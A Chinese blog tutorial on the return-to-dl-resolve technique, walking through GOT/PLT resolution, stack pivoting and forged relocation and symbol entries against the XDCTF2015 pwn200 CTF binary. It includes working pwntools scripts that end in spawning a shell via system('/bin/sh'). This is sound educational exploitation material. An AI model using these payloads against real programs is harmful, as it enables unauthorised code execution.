Dorapocket
moveonmoveonmoveonmoveon
Dorapocket

PWN之Return-to-dl-resolve攻击详解

PWN之Return-to-dl-resolve攻击详解

原理说明

return-to-dl-resolve是一种绕过NX和ASLR限制的ROP方法,在带有PARTIAL RELRO保护中可以使用。

带有重定向保护的程序的ELF中会带有got表和plt表,这两个表都是用来做重定向的。利用重定向方法调用函数就相当于在二进制文件中留下了一个个坑,预留给外部变量和函数。在编译期我们通常只知道外部符号的类型 (变量类型和函数原型),而不需要知道具体的值(变量值和函数实现). 而这些预留的”坑”,会在用到之前(链接期间或者运行期间)填上。在链接期间填上主要通过工具链中的连接器, 比如GNU链接器ld; 在运行期间填上则通过动态连接器, 或者说解释器(interpreter)来实现。

函数和变量作为符号被存在可执行文件中,各种符号在一起构成了符号表,ELF内有两种类型的符号表:常规符号表.symtab,.strtab和动态的.dynsym,.dynstr。利用readelf -S就可以查看。

利用以下程序来进行后续实验(来自很经典的2015-XDCTF-pwn200)

#include<uinstd.h>
#include<stdio.h>
#include<string.h>
void vuln()
{
    char buf[100];
    setbuf(stdin, buf);
    read(0, buf, 256);
}

int main()
{
    char buf[100] = "Welcome to XDCTF2015~!\n";

    setbuf(stdout, buf);
    write(1, buf, strlen(buf));
    vuln();
    return 0;
}

使用以下命令编译,生成可执行文件

$ gcc -o test -m32 -fno-stack-protector -no-pie test.c
需要关闭栈溢出保护和PIE,否则无法进行
首先利用readelf查看段地址:readelf -S test
https://lgyserver.top/wp-content/uploads/2022/04/1.png

可以看到有TYPE为REL的两个项,.rel.plt(用于函数重定位) 和 .rel.dyn(用于变量重定位) 。其内部信息可以用readelf -r test来查看

https://lgyserver.top/wp-content/uploads/2022/04/2.png

下面从main函数入手,看看执行的glibcwrite函数过程都发生了什么(利用gdb-peda

https://lgyserver.top/wp-content/uploads/2022/04/3.png

write函数为例,可以看见调用的时候实际上到了0x8049070,由上面的段列表比对可以看到,目标在.plt段内,先跳到了plt表。继续跟踪

https://lgyserver.top/wp-content/uploads/2022/04/4.png

该函数跳到了0x804c01c,位于.got.plt内,其内容为

https://lgyserver.top/wp-content/uploads/2022/04/5.png

回到了0x8049076,实际上是上上面那张图的push 0x20内,接着那张图的往下走,jump到了0x8049020,位于plt[0]

plt[0]处的指令为

https://lgyserver.top/wp-content/uploads/2022/04/6.png

由第一张图知道,0x804c000是GOT表,这些指令先是push了GOT[1],再跳转了GOT[2]

先到这里停一停,我们发现她寻找的路径为 plt->.got.plt->plt->got,下面先解释一下这些表起什么作用。

.got

GOT, 即Global Offset Table, 全局偏移表。这是链接器在执行链接时实际上要填充的部分, 保存了所有外部符号的地址信息。在初始时GOT没有信息,链接的时候通过linux的_dl_runtime_resolve(link_map,reloc_offset)来对动态链接的函数进行重定位。

在i386架构下, 除了每个函数占用一个GOT表项外,GOT表项还保留了 3个公共表项, 每项32位(4字节), 保存在前三个位置, 分别是:

  • GOT[0]: ELF的.dynamic段的装载地址
  • GOT[1]: ELF的link_map数据结构描述符的地址
  • GOT[2]: _dl_runtime_resolve函数的地址

.plt

PLT, 即Procedure Linkage Table, 进程链接表。这个表里包含了一些代码, 用来

  • 调用链接器来解析某个外部函数的地址, 并填充到.got.plt中, 然后跳转到该函数
  • 直接在.got.plt中查找并跳转到对应外部函数(如果已经填充过)
  • plt表中,PLT[0]储存的信息能用来跳转到动态链接器中(具体代码已在前面分析,push link_map的地址,跳转到_dl_runtime_resolve),PLT[1] 是系统启动函数(__libc_start_main), 其余每个条目都负责调用一个具体的函数。

.got.plt

相当于.plt的全局偏移表, 其内容有两种情况

  • 如果在之前查找过该符号, 内容为外部函数的具体地址
  • 如果没查找过, 则内容为跳转回.plt的代码, 并执行查找

了解完这些以后,我们再来对前面的过程进行梳理:

首先我们想调用write,call到了PLT表,PLT先假设填充过,在.got.plt里面找,而.got.plt还没有填充过实际的地址,于是对应位置是一条跳转回PLT表call的下一句执行查找的代码(push 0x20 call ...)。call的目标在GOT表内,上面分析到程序先push了GOT[1],然后jump到了GOT[2]。而在GOT表的介绍中我们知道,其实就是push了link_map的地址,然后调用了_dl_runtime_resolve(link_map,reloc_offset)。那么offset哪里来的?就是之前push的0x20

接下来分析,_dl_runtime_resolve 位于glibc/sysdeps/i386/dl-trampoline.S

_dl_runtime_resolve:
        cfi_adjust_cfa_offset (8)
        pushl %eax                # Preserve registers otherwise clobbered.
        cfi_adjust_cfa_offset (4)
        pushl %ecx
        cfi_adjust_cfa_offset (4)
        pushl %edx
        cfi_adjust_cfa_offset (4)
        movl 16(%esp), %edx        # Copy args pushed by PLT in register.  Note
        movl 12(%esp), %eax        # that `fixup' takes its parameters in regs.
        call _dl_fixup                # Call resolver.
        popl %edx                # Get register content back.
        cfi_adjust_cfa_offset (-4)
        movl (%esp), %ecx
        movl %eax, (%esp)        # Store the function address.
        movl 4(%esp), %eax
        ret $12                        # Jump to function address.

其作用有2:

  • 解析函数地址并填入.got.plt
  • 跳转到目标函数执行

我们注意到,具体查找过程中是call到了_dl_fixup(11行)里,源代码位于glibc/elf/dl-runtime.c,部分含义如下

_dl_fixup(struct link_map *l, ElfW(Word) reloc_arg)
{
    // 首先通过参数reloc_arg计算重定位入口,这里的JMPREL即.rel.plt,reloc_offset即reloc_arg
    const PLTREL *const reloc = (const void *) (D_PTR (l, l_info[DT_JMPREL]) + reloc_offset);
    // 然后通过reloc->r_info找到.dynsym中对应的条目
    const ElfW(Sym) *sym = &symtab[ELFW(R_SYM) (reloc->r_info)];
    // 这里还会检查reloc->r_info的最低位是不是R_386_JUMP_SLOT=7
    assert (ELFW(R_TYPE)(reloc->r_info) == ELF_MACHINE_JMP_SLOT);
    // 接着通过strtab+sym->st_name找到符号表字符串,result为libc基地址
    result = _dl_lookup_symbol_x (strtab + sym->st_name, l, &sym, l->l_scope, version, ELF_RTYPE_CLASS_PLT, flags, NULL);
    // value为libc基址加上要解析函数的偏移地址,也即实际地址
    value = DL_FIXUP_MAKE_VALUE (result, sym ? (LOOKUP_VALUE_ADDRESS (result) + sym->st_value) : 0);
    // 最后把value写入相应的GOT表条目中
    return elf_machine_fixup_plt (l, result, reloc, rel_addr, value);
}

第一句,计算重定位入口,_dl_fixup的两个参数就是_dl_runtime_resolve的参数。查到的reloc是一个表项

typedef struct {
    Elf32_Addr r_offset;    // 对于可执行文件,此值为虚拟地址
    Elf32_Word r_info;      // 符号表索引
} Elf32_Rel;
#define ELF32_R_SYM(info) ((info)>>8)
#define ELF32_R_TYPE(info) ((unsigned char)(info))
#define ELF32_R_INFO(sym, type) (((sym)<<8)+(unsigned char)(type))

第二句,利用relocr_info找到.dynsym段内的连接信息,根据定义

ELF32_R_SYM(Elf32_Rel->r_info) = (Elf32_Rel->r_info) >> 8

查到的sym是如下的结构体:

typedef struct
{
    Elf32_Word st_name;     // Symbol name(string tbl index)
    Elf32_Addr st_value;    // Symbol value
    Elf32_Word st_size;     // Symbol size
    unsigned char st_info;  // Symbol type and binding
    unsigned char st_other; // Symbol visibility under glibc>=2.2
    Elf32_Section st_shndx; // Section index
} Elf32_Sym;

第三句,检查type是不是7(类型是否等于R_386_JUMP_SLOT

第四句,通过strtab+sym->st_name找到符号表字符串,并返回在glibc的地址

第五句,返回实际函数的地址。

为了进一步理解其中发生了什么,我们可以简单模拟一下查找的过程。

首先在第二张图里面我们可以知道writer_info0x607, type=7无误,且索引值为6

在第一张图里知道.dynsym基地址0x804820c,加上6的偏移就是0x804820c+0x10*6 得到:

https://lgyserver.top/wp-content/uploads/2022/04/7.png

.dynsym\x00作为开始和结尾,中间每个字符串也以\x00间隔,因此会有中间两个0x0000,很重要,伪造的时候不要忘记)

就是说st_name0x0000042,由Elf32_Sym的注释可知这也是在.dynstr(0x80482ac)的偏移值,我们查看一下0x80482ac+0x42

https://lgyserver.top/wp-content/uploads/2022/04/8.png

就是write的名字,接下来送到_dl_lookup_symbol_x去找真正的函数,但这部分过程我们已经不关心了。

因此,攻击思路为拦截write函数第一次链接的过程,即在main中call到plt[0]开始查找的过程

1、利用栈溢出控制eip为plt[0]地址,伪造一个_dl_runtime_resolvereloc_offset参数

2、控制reloc_offset参数使得_dl_fixup查找到的reloc位于可控地址内

3、伪造reloc的内容,使得sym在可控地址内

4、伪造sym,使sym->st_name找到的符号表字符串在可控地址内

5、伪造sym->st_name对应的字符串为任意库函数,如system,实现攻击。

过程

在本次攻击中因为需要伪造很多数据结构,因此我们需要先进行栈迁移,将栈迁移到.bss段,然后利用.bss段内的栈来伪造上述所有内容,实现攻击。因此,我们的操作分为栈迁移和伪造两步。

步骤0:栈迁移及其原理

栈迁移是CTF中比较常用的套路。其本质上是通过ebp指针来修改栈帧位置和大小。通过将ebp伪造成.bss段的地址来实现。其主要由leave;ret;这个gadget来实现。

leave的本质是:mov esp ebp; pop ebp; ret是:pop eip ;

(以下图片来自http://blog.tianzheng.cool/?p=484)

假设有一个程序有栈溢出漏洞,堆栈是这样的:

https://lgyserver.top/wp-content/uploads/2022/04/1-1.png

在程序call之后,本质上是进行了

mov esp,ebp
pop ebp
ret

mov执行完以后:

https://lgyserver.top/wp-content/uploads/2022/04/2-1.png

再来是pop ebp;此时ebp内的值就是esp处的fake_ebp1_addr,esp在pop后下移。

https://lgyserver.top/wp-content/uploads/2022/04/3-1.png

然后进行ret,将eip设置为esp现在所指的read_plt。在read_plt里放了glibcread函数的地址,系统开始执行新的read函数。read函数的参数为栈内leave ret下面的0,fake_ebp1,0x100 代表向fake_ebp1读100字节。

写入的内容不是乱写的,就是我们的payload2,为了实现栈迁移,我们需要将.bssfake_ebp1位置内写入fake_ebp2的地址,其他地方随意构造我们需要的数据,这部分我们都能利用

https://lgyserver.top/wp-content/uploads/2022/04/4-1.png

read函数执行完以后回到左侧read_plt下面的leave_ret,会将一开始的过程再执行一遍:

首先是mov esp,ebp;

https://lgyserver.top/wp-content/uploads/2022/04/5-1.png

pop ebp

https://lgyserver.top/wp-content/uploads/2022/04/6-1.png

这句话将ebp放到了fake_ebp2处,此时esp在system_plt上,此后在执行ret,我们构造的函数在.bss就被执行了,栈迁移也就实现了。

步骤1:栈迁移+截获write函数plt解析

首先利用第一次栈溢出,控制eip的位置到read函数,来进行栈迁移,同时准备接受写入在新栈的payload2

先用gdb-peda定位栈溢出的位置:

pattern_create 120

https://lgyserver.top/wp-content/uploads/2022/04/1-2.png

输入r,gdb开始运行,将生成的pattern当作输入输入进去。

https://lgyserver.top/wp-content/uploads/2022/04/2-2.png

程序崩溃,发现eip值为:0x41384141

pattern_offset 0x41384141

即可得出移除偏移在112处。

https://lgyserver.top/wp-content/uploads/2022/04/3-2.png

此外,通过ROPgadget,我们也可以很清楚的定位到需要的return gadget。

https://lgyserver.top/wp-content/uploads/2022/04/4-2.png
https://lgyserver.top/wp-content/uploads/2022/04/5-2.png
from pwn import *
elf = ELF('bof')
offset = 112
read_plt = elf.plt['read']
write_plt = elf.plt['write']

ppp_ret = 0x080492d9 # ROPgadget --binary bof --only "pop|ret"
pop_ebp_ret = 0x080492db
leave_ret = 0x08049105 # ROPgadget --binary bof --only "leave|ret"

# 新栈大小
stack_size = 0x800
# 新栈位于bss段,bss段的基地址
bss_addr = 0x0804c028 # readelf -S bof | grep ".bss"
# 新栈的栈底,基地址+大小
base_stage = bss_addr + stack_size

r = process('./test')

r.recvuntil('Welcome to XDCTF2015~!\n')
# 这部分构造“栈迁移原理”节所述的栈溢出ROP
payload = 'A' * offset # 定位到eip
payload += p32(read_plt) # 用read函数地址覆盖eip
payload += p32(ppp_ret) # read后的ret
payload += p32(0) # read参数1
payload += p32(base_stage) # read参数2
payload += p32(100) # read参数3

#这里会读取payload2写入到base_stage里面!
# 读取完了返回这里
payload += p32(pop_ebp_ret) # 把base_stage pop到ebp中,eip下移到write_plt
payload += p32(base_stage)
payload += p32(leave_ret) # mov esp, ebp ; pop ebp ;将esp指向base_stage
r.sendline(payload)

cmd = "/bin/sh"

payload2 = 'AAAA' # 接上一个payload的leave->pop ebp ; ret,不重要,因为不指望ret了
payload2 += p32(write_plt)# 直接传入write的plt地址
payload2 += 'AAAA'# ret相关的padding,不指望返回,不重要
payload2 += p32(1) #write参数1,输出到标准输出
payload2 += p32(base_stage + 80)#write参数2,buffer开始地址
payload2 += p32(len(cmd))#write参数3,输出长度
payload2 += 'A' * (80 - len(payload2))#补齐到80长度,后面的就是输出buffer了
payload2 += cmd + '\x00'# 输出buffer
payload2 += 'A' * (100 - len(payload2))# 补齐到100,因为payload里面read参数有100
r.sendline(payload2)
r.interactive()

和“栈迁移原理”一部分介绍的一样,我们先通过read构造在.bss段的栈,其内容由payload2决定,在这里我们直接传入了write_plt的地址,会直接调用write函数并取指定buffer内容输出,结果如下:

https://lgyserver.top/wp-content/uploads/2022/04/1-3.png

步骤2:截获reloc_offset

刚才我们是知道了write函数的具体调用地址,然后直接传进去了,实际上由原理说明部分讲的那样,当程序不知道write链接到那儿的时候,是要进行动态连接的,如何跳转到动态链接过程?

在“原理说明”的plt表介绍时曾说,PLT[0]储存的信息能用来跳转到动态链接器。因此我们在上面的write_plt的地方传入PLT[0],并把write函数的offset压在后面,这样应该可以根据我们前面所说的那样,调用起动态连接过程,填充write的PLT表,并跳转到write执行。

write的offset是多少?上面已经说到了,是push进去的0x20

https://lgyserver.top/wp-content/uploads/2022/04/2-3.png
...
cmd = "/bin/sh"
plt_0 = 0x08049020 # objdump -d -j .plt bof,动态链接器,PLT[0]的地址
reloc_offset = 0x20 # write的偏移

payload2 = 'AAAA'
payload2 += p32(plt_0) # 跳转到动态链接器
payload2 += p32(reloc_offset)# 传一个自己的reloc_offset 

# 下面不变
payload2 += 'AAAA'
payload2 += p32(1)
payload2 += p32(base_stage + 80)
payload2 += p32(len(cmd))
payload2 += 'A' * (80 - len(payload2))
payload2 += cmd + '\x00'
payload2 += 'A' * (100 - len(payload2))
r.sendline(payload2)
r.interactive()

结果仍然是打印出/bin/sh

https://lgyserver.top/wp-content/uploads/2022/04/3-3.png

步骤3:伪造reloc_offset,从而伪造reloc

这里的reloc是指在_dl_fixup源码里面的第一句

// 首先通过参数reloc_arg计算重定位入口,这里的JMPREL即.rel.plt,reloc_offset即reloc_arg
const PLTREL *const reloc = (const void *) (D_PTR (l, l_info[DT_JMPREL]) + reloc_offset);

reloc_offset是相对于.rel.plt段的偏移,我们要更改这个偏移,让reloc找到我们.bss段内伪造的值。

reloc的伪造值放入payload2 += p32(len(cmd))这一句后面,通过计算,位于base_stage+28的位置。

因此传入的reloc_offset(base_stage + 28) - rel_plt

接下来要思考reloc填充一个假的什么值,前面已经说过reloc的格式是

typedef struct {
    Elf32_Addr r_offset;    // 对于可执行文件,此值为虚拟地址
    Elf32_Word r_info;      // 符号表索引
} Elf32_Rel;
#define ELF32_R_SYM(info) ((info)>>8)
#define ELF32_R_TYPE(info) ((unsigned char)(info))
#define ELF32_R_INFO(sym, type) (((sym)<<8)+(unsigned char)(type))

.got节保存了全局变量偏移表,.got.plt节保存了全局函数偏移表。我们通常说的got表指的是.got.plt.got.plt对应着Elf32_Rel结构中r_offset的值。可以在pwntools通过elf.got拿到,就是在图中的0x0804c01c

组装一下,假的reloc就是p32(write_got) + p32(r_info),其中r_info就是我们在途中看到的0x607

https://lgyserver.top/wp-content/uploads/2022/04/1-4.png
...
cmd = "/bin/sh"
plt_0 = 0x08049020
rel_plt = 0x08048364 # objdump -s -j .rel.plt bof
reloc_offset = (base_stage + 28) - rel_plt # base_stage + 28指向fake_reloc,减去rel_plt即偏移
write_got = elf.got['write']
r_info = 0x607
fake_reloc = p32(write_got) + p32(r_info)

payload2 = 'AAAA'
payload2 += p32(plt_0)
# 放上假的offset,会让_dl_fixup它寻找到假的reloc值
payload2 += p32(reloc_offset)
payload2 += 'AAAA'
payload2 += p32(1)
payload2 += p32(base_stage + 80)
payload2 += p32(len(cmd))
# 放上假的reloc值
payload2 += fake_reloc # (base_stage+28)的位置
payload2 += 'A' * (80 - len(payload2))
payload2 += cmd + '\x00'
payload2 += 'A' * (100 - len(payload2))
r.sendline(payload2)
r.interactive()

执行后,和上面的结果一样,输出了/bin/sh

https://lgyserver.top/wp-content/uploads/2022/04/2-4.png

步骤4:伪造reloc的r_offset,从而伪造sym

继续看_dl_fixup源码这一句:

// 然后通过reloc->r_info找到.dynsym中对应的条目
const ElfW(Sym) *sym = &symtab[ELFW(R_SYM) (reloc->r_info)];
// 这里还会检查reloc->r_info的最低位是不是R_386_JUMP_SLOT=7
assert (ELFW(R_TYPE)(reloc->r_info) == ELF_MACHINE_JMP_SLOT);

我们首先要将fake_sym放到我们的payload中,再放之前先要注意到,dynsym里的Elf32_Sym结构体都是0x10字节大小,因此我们要先对即将注入的位置进行对齐。fake_sym正常会放在base_stage+36的位置,但不满足对其要求,对齐是0x10 - ((fake_sym_addr - dynsym) & 0xf)字节。故真正的fake_sym地址要加上这部分。先在payload2fake_reloc后补一些A,再写入假的sym

为了定位到这个假的sym,要修改之前已经控制的r_infosym通过reloc->r_info获取在dynsym的偏移)。我们已知了我们注入假的sym的地址和dynsym地址,偏移为index_dynsym=(fake_sym_addr - dynsym) / 0x10(对齐)。实际找的时候,ELF32_R_INFO(sym, type)的算法是(((sym)<<8)+(unsigned char)(type)),也就是说我们的r_info=(index_dynsym << 8) | 0x7(或上0x7是因为_dl_fixup里面有个assert,要让type=7)。

定位到假的sym以后,我们就要考虑sym填什么了,根据如下定义:

typedef struct
{
    Elf32_Word st_name;     // Symbol name(string tbl index)
    Elf32_Addr st_value;    // Symbol value
    Elf32_Word st_size;     // Symbol size
    unsigned char st_info;  // Symbol type and binding
    unsigned char st_other; // Symbol visibility under glibc>=2.2
    Elf32_Section st_shndx; // Section index
} Elf32_Sym;

前面我们在最后分析的时候,看到的sym是这样的:

https://lgyserver.top/wp-content/uploads/2022/04/1-5.png

所以我们暂时不改变它,照样写回去,这里的0x42就是st_namedynstroffset,0x12就是type。在这里我们只关注nametype,其他的用什么补齐不重要。

所以我们有了下面的代码:

...
cmd = "/bin/sh"
plt_0 = 0x08049020
rel_plt = 0x08048364
reloc_offset = (base_stage + 28) - rel_plt
write_got = elf.got['write']

dynsym = 0x0804820c
fake_sym_addr = base_stage + 36 # 原先的位置
align = 0x10 - ((fake_sym_addr - dynsym) & 0xf) # 这里的对齐操作是因为dynsym里的Elf32_Sym结构体都是0x10字节大小
fake_sym_addr = fake_sym_addr + align # 对齐之后的位置
index_dynsym = (fake_sym_addr - dynsym) / 0x10 # 除以0x10因为Elf32_Sym结构体的大小为0x10,得到write的dynsym索引号
r_info = (index_dynsym << 8) | 0x7 # 计算offset,确保type为7
fake_reloc = p32(write_got) + p32(r_info)# 伪造reloc
st_name = 0x4c
fake_sym = p32(st_name) + p32(0) + p32(0) + p32(0x12) # 伪造sym

payload2 = 'AAAA'
payload2 += p32(plt_0)
payload2 += p32(reloc_offset)
payload2 += 'AAAA'
payload2 += p32(1)
payload2 += p32(base_stage + 80)
payload2 += p32(len(cmd))
payload2 += fake_reloc # 伪造reloc的位置
payload2 += 'A' * align # 对齐0x10大小
payload2 += fake_sym # 伪造sym的位置
payload2 += 'A' * (80 - len(payload2))
payload2 += cmd + '\x00'
payload2 += 'A' * (100 - len(payload2))
r.sendline(payload2)
r.interactive()

最终,也是成功打印出了/bin/sh,证明我们伪造正确。

https://lgyserver.top/wp-content/uploads/2022/04/2-5.png

步骤5:伪造st_name,从而伪造函数符号

前面提到st_name是在.dynstr内部的offset,因此我们可以通过继续伪造这个offset来让连接期间查找函数符号字符串的时候查到我们的.bss段。

为了满足fake_sym的对齐,我们要在fake_sym_addr+0x10 再减去.dynstr段的基地址,这样就能够得到我们想要的偏移。而这个偏移就是st_name,其他不变,然后我们在对应位置写入字符串“write”,并用/x00分割(原理说明里提到过,.dynstr段里面是通过/x00来区分字符串边界的)

于是我们有了下面的代码:

...
cmd = "/bin/sh"
plt_0 = 0x08049020
rel_plt = 0x08048364
reloc_offset = (base_stage + 28) - rel_plt
write_got = elf.got['write']
dynsym = 0x0804820c

dynstr = 0x080482ac
fake_sym_addr = base_stage + 36
align = 0x10 - ((fake_sym_addr - dynsym) & 0xf)
fake_sym_addr = fake_sym_addr + align
index_dynsym = (fake_sym_addr - dynsym) / 0x10
r_info = (index_dynsym << 8) | 0x7
fake_reloc = p32(write_got) + p32(r_info)

# 主要是这里修改了st_name的offset,上面一样
st_name = (fake_sym_addr + 0x10) - dynstr # 加0x10因为Elf32_Sym的大小为0x10
fake_sym = p32(st_name) + p32(0) + p32(0) + p32(0x12)

payload2 = 'AAAA'
payload2 += p32(plt_0)
payload2 += p32(reloc_offset)
payload2 += 'AAAA'
payload2 += p32(1)
payload2 += p32(base_stage + 80)
payload2 += p32(len(cmd))
payload2 += fake_reloc # fake_reloc的位置
payload2 += 'B' * align
payload2 += fake_sym # fake_sym的位置
payload2 += "write\x00"# 伪造的dynstr值,.dynstr+st_name就定位到了这里,x00前面讲过是固定格式标识
payload2 += 'A' * (80 - len(payload2))
payload2 += cmd + '\x00'
payload2 += 'A' * (100 - len(payload2))
r.sendline(payload2)
r.interactive()

结果如下:

https://lgyserver.top/wp-content/uploads/2022/04/1-6.png

步骤6:伪造dynstr查到的值,链接进system

到这一步我们要干什么就很明显了:把上面的程序write改成system即可。这样_dl_runtime_resolve就会把system链接进来,cmd会作为buffer参数传递给它。

函数名字改了,参数也得改掉,system的参数就是一个buffer地址,只有一个参数,因此我们要修改一下参数部分,详见代码里的注释

于是我们最终有:

cmd = "/bin/sh"
plt_0 = 0x08049020
rel_plt = 0x08048364
reloc_offset = (base_stage + 28) - rel_plt
write_got = elf.got['write']
dynsym = 0x0804820c
dynstr = 0x080482ac
fake_sym_addr = base_stage + 36
align = 0x10 - ((fake_sym_addr - dynsym) & 0xf)
fake_sym_addr = fake_sym_addr + align
index_dynsym = (fake_sym_addr - dynsym) / 0x10
r_info = (index_dynsym << 8) | 0x7
fake_reloc = p32(write_got) + p32(r_info)
st_name = (fake_sym_addr + 0x10) - dynstr
fake_sym = p32(st_name) + p32(0) + p32(0) + p32(0x12)

payload2 = 'AAAA'
payload2 += p32(plt_0)
payload2 += p32(reloc_offset)
# 不重要,是return回来以后执行的,可以放ppp_ret的gadget,但我们不需要让他返回了。
payload2 += 'AAAA' 
# 重要,是system的第一个参数,指向一个字符串buffer
payload2 += p32(base_stage + 80)
# 不重要了,system只有一个参数,不删掉是因为删了后面的偏移还要重新算
payload2 += 'AAAA'
payload2 += 'AAAA'
payload2 += fake_reloc # (base_stage+28)的位置
payload2 += 'B' * align
payload2 += fake_sym # (base_stage+36)的位置
payload2 += "system\x00"
payload2 += 'A' * (80 - len(payload2))
payload2 += cmd + '\x00'
payload2 += 'A' * (100 - len(payload2))
r.sendline(payload2)
r.interactive()

最终,我们拿到了一个shell。

https://lgyserver.top/wp-content/uploads/2022/04/1-7.png

参考

ret2dlresolve http://pwn4.fun/2016/11/09/Return-to-dl-resolve/

深入了解GOT,PLT和动态链接 https://www.cnblogs.com/pannengzhi/p/2018-04-09-about-got-plt.html

PWN从入门到放弃(12)——栈溢出之栈迁移 http://blog.tianzheng.cool/?p=484

[原创]高级栈溢出之ret2dlresolve详解(x86&x64),附源码分析 https://bbs.pediy.com/thread-266769.htm

发表回复

textsms
account_circle
email

Dorapocket

PWN之Return-to-dl-resolve攻击详解
原理说明 return-to-dl-resolve是一种绕过NX和ASLR限制的ROP方法,在带有PARTIAL RELRO保护中可以使用。 带有重定向保护的程序的ELF中会带有got表和plt表,这两个表都是用来做重定…
扫描二维码继续阅读
2022-04-12